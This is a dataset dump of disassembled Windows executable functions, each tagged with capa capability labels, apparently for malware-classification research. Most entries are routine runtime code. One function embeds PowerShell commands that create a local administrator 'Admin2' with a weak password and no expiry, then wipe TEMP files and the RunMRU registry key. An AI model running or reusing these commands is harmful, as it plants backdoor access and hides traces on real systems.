joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006fe60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x1400bd61e], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x14006fee5
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x1400bd470], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x1400bd470], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x1400bd470], rdx
call fcn.14006ddb0
cmp eax, ebx
jne 0x14007004d
mov byte [0x1400bd61e], 1
lea rdx, [0x140097a28]
mov rcx, rsi
call fcn.140082ae0
test eax, eax
je 0x14006ff70
cmp byte [0x1400bd61d], 1
je 0x14006ff70
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be370], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be378], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be380], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be388], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be390], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be398], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be3a0], rax
call qword [sym.imp.python311.dll_PyDict_New]
mov qword [0x1400be3a8], rax
mov byte [0x1400bd61d], 1
mov r8, qword [0x1400bd470]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x14006ff97
inc rax
test cl, cl
jne 0x14006ff80
mov ecx, r9d
jmp 0x14006ff9c
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x14006ffa3
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x140070008
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x14006ffe5
inc rax
test cl, cl
jne 0x14006ffd0
mov ecx, r9d
jmp 0x14006ffea
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x14006fff1
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x14006ffc0
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x140070038
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14006c380
add rdi, 8
sub rbx, 1
jne 0x140070020
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.14007f594
call fcn.140076ca0
int3
Function at 0x140073090
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x1400b8f00]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x140073141
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.140083084
cmp rax, 1
jne 0x140073177
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14007311d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x140073110
cmp rcx, 1
jb 0x140073177
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400730e0
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400734e0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140076ca0
int3

Function at 0x140073360
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400b8f00]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x14007340f
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140083084
cmp rax, 1
jne 0x140073445
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x1400733ec
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x1400733e0
cmp rcx, 1
jb 0x140073445
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400733b0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400734e0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140076ca0
int3

Function at 0x140073f48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140073f92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140073f92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140073f92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140073f92
cmp dword [rcx + 0x84], 0xe
jbe 0x140073f92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140073f94
xor al, al
add rsp, 0x28
ret
Function at 0x140078314
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140078383
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140078383
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140078383
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140078383
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140078383
cmp dword [rcx + 0x84], 0xe
jbe 0x140078383
cmp dword [rcx + 0xf8], 0
je 0x140078383
mov ecx, ebx
call fcn.140078434
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140078210
nop
cmp dword [rbp + 0x20], 0
je 0x1400783d1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400783dc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140078314

Function at 0x140078518
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140078383
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140078383
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140078383
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140078383
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140078383
cmp dword [rcx + 0x84], 0xe
jbe 0x140078383
cmp dword [rcx + 0xf8], 0
je 0x140078383
mov ecx, ebx
call fcn.140078434
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140078210
nop
cmp dword [rbp + 0x20], 0
je 0x1400783d1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400783dc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140078314
Function at 0x14008b080
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14008b107
mov rsi, rbx
cmp word [rax], bp
je 0x14008b0c6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14008b0b0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14008b0ac
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140086114
mov rdi, rax
test rax, rax
je 0x14008b0f4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140092270
mov rbp, rdi
xor ecx, ecx
call fcn.140086c5c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14008df38
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14008df4e
mov al, 1
jmp 0x14008dfae
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14008df5f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14008dfac
mov ecx, dword [rcx + 0x18]
nop
call fcn.140078a08
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14008dfac
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14008dfac
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14008dfac
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14008dfae
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400907dc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400bf2c0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140090833
cmp word [rdx], r13w
jne 0x140090833
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140090838
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14009095d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14009097e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140090871
mov rdx, r9
mov word [rbx], cx
jmp 0x140090898
cmp r9, r8
jae 0x1400908a8
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140090852
jmp 0x14009095d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140090952
cmp dword [rsp + 0x80], esi
je 0x140090952
lea r8, [0x1400bf2c0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14009092a
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400908fa
mov word [rbx], r13w
jmp 0x14009095a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140090907
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14009095a
cmp word [rsp + 0x70], r13w
jne 0x140090937
cmp rbx, r14
je 0x1400908f4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400906fc
cmp word [rsp + 0x70], r13w
je 0x14009095d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400bf2c0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140090957
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14009095d
Function at 0x14009114c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400906fc
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400906fc
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14009129c
cmp rax, 0xffffffffffffffff
je 0x14009129c
xor edi, edi
test rbp, rbp
jle 0x140091247
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140086be4
mov rbx, rax
test rax, rax
jne 0x1400911d4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14009123d
mov edx, 0x8000
mov ecx, r14d
call fcn.14008542c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14008c858
cmp eax, 0xffffffff
je 0x14009121d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400911e4
mov edx, r15d
mov ecx, r14d
call fcn.14008542c
jmp 0x14009123d
cmp byte [rsi + 0x38], dil
je 0x140091234
cmp dword [rsi + 0x34], 5
jne 0x140091234
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14009123d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140086c5c
jmp 0x1400912b0
jns 0x1400912b0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400906fc
cmp rax, 0xffffffffffffffff
jne 0x140091268
cmp byte [rsi + 0x30], dil
je 0x1400912b0
mov edi, dword [rsi + 0x2c]
jmp 0x1400912b0
mov ecx, r14d
call fcn.140078a08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400912b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400912b0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400912a9
mov eax, dword [rsi + 0x2c]
jmp 0x1400912ae
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400906fc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400920c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400920e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400920e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x24e2b1380
Capabilities:
Execute command
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
lea rax, str.powershell__Command__Start_Process_PowerShell__Verb_RunAs_
mov rcx, rax
call sym.system
lea rax, str.PowerShell.exe__noe__c__._mode.com_con:_lines5_cols12_
mov rcx, rax
call sym.system
lea rax, str.Admin2
mov qword [rbp - 8], rax
lea rax, str.password
mov qword [rbp - 0x10], rax
lea rax, str.Administrators
mov qword [rbp - 0x18], rax
lea rax, str.powershell__Command___adsi___ADSI_WinNT:___env:COMPUTERNAME___existing___adsi.Children__where___.SchemaClassName__eq_user__and___.Name__eq_Admin2___if___existing__eq__null___Write_Host_Creating_new_local_user_Admin2.___NET_USER_Admin2_password__add__y__expires:never__Write_Host_Adding_local_user_Admin2_to_Administrators.___NET_LOCALGROUP_Administrators_Admin2__add___else__Write_Host_Setting_password_for_existing_local_user_Admin2.___existing.SetPassword_password____
mov rcx, rax
call sym.system
lea rax, str.powershell__Command___WMIC_USERACCOUNT_WHERE_NameAdmin2_SET_PasswordExpiresFALSE_
mov rcx, rax
call sym.system
lea rax, str.powershell__Command__rm__env:TEMP__r__Force__ErrorAction_SilentlyContinue_
mov rcx, rax
call sym.system
lea rax, str.powershell__Command__reg_delete_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU__va__f_
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x24e2b15c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x24e2b1630
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x24e2b7064]
mov rbx, rcx
test esi, esi
jle 0x24e2b1760
mov rax, qword [0x24e2b7068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x24e2b167b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x24e2b1705
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x24e2b1660
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x24e2b1782
mov rax, qword [0x24e2b7068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x24e2b7068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x24e2b1767
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x24e2b16fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x24e2b1710
add dword [0x24e2b7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x24e2b7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x24e2b16fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x24e2b1688
mov rax, qword [0x24e2b7068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x24e2b1b00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x24e2b70a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x24e2b7080]
test rbx, rbx
je 0x24e2b1b5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x24e2b1b53
test eax, eax
jne 0x24e2b1b53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x24e2b1b38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x24e2b1d70
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x24e2b1d88
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x24e2b1d90
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x24e2b1da0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x24e2b1ded
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x24e2b1de4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x24e2b1def
add rax, 0x28
cmp rax, r9
jne 0x24e2b1dd0
xor eax, eax
ret

Function at 0x24e2b1df0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x24e2b1e80
mov rdx, qword [0x24e2b45a0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x24e2b1e6e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x24e2b1e6e
cmp word [rax + 0x18], 0x20b
jne 0x24e2b1e6e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x24e2b1e80
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x24e2b1e59
add rbx, 0x28
cmp rbx, rdi
je 0x24e2b1e80
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x24e2b1e50
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x24e2b1e90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x24e2b45a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x24e2b1eb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x24e2b1eb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x24e2b1eb0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x24e2b1f0d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x24e2b1f04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x24e2b1eb0
add rax, 0x28
cmp rax, r9
jne 0x24e2b1ef0
xor eax, eax
ret

Function at 0x24e2b1f10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x24e2b45a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x24e2b1f2f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x24e2b1f38
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x24e2b1f2f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x24e2b1f50
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x24e2b45a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x24e2b1f70
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x24e2b1f78
ret
cmp word [rdx + 0x18], 0x20b
jne 0x24e2b1f70
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x24e2b1fc0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x24e2b1fb7
test rcx, rcx
je 0x24e2b1f70
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x24e2b1fa8
xor eax, eax
ret
Function at 0x24e2b1fd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x24e2b45a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x24e2b1fef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x24e2b1ff8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x24e2b2010
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x24e2b45a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x24e2b2030
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x24e2b2038
ret
cmp word [r8 + 0x18], 0x20b
jne 0x24e2b2030
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x24e2b2030
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x24e2b2084
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x24e2b2090
add rdx, 0x28
cmp rdx, r9
jne 0x24e2b2070
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x24e2b20a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
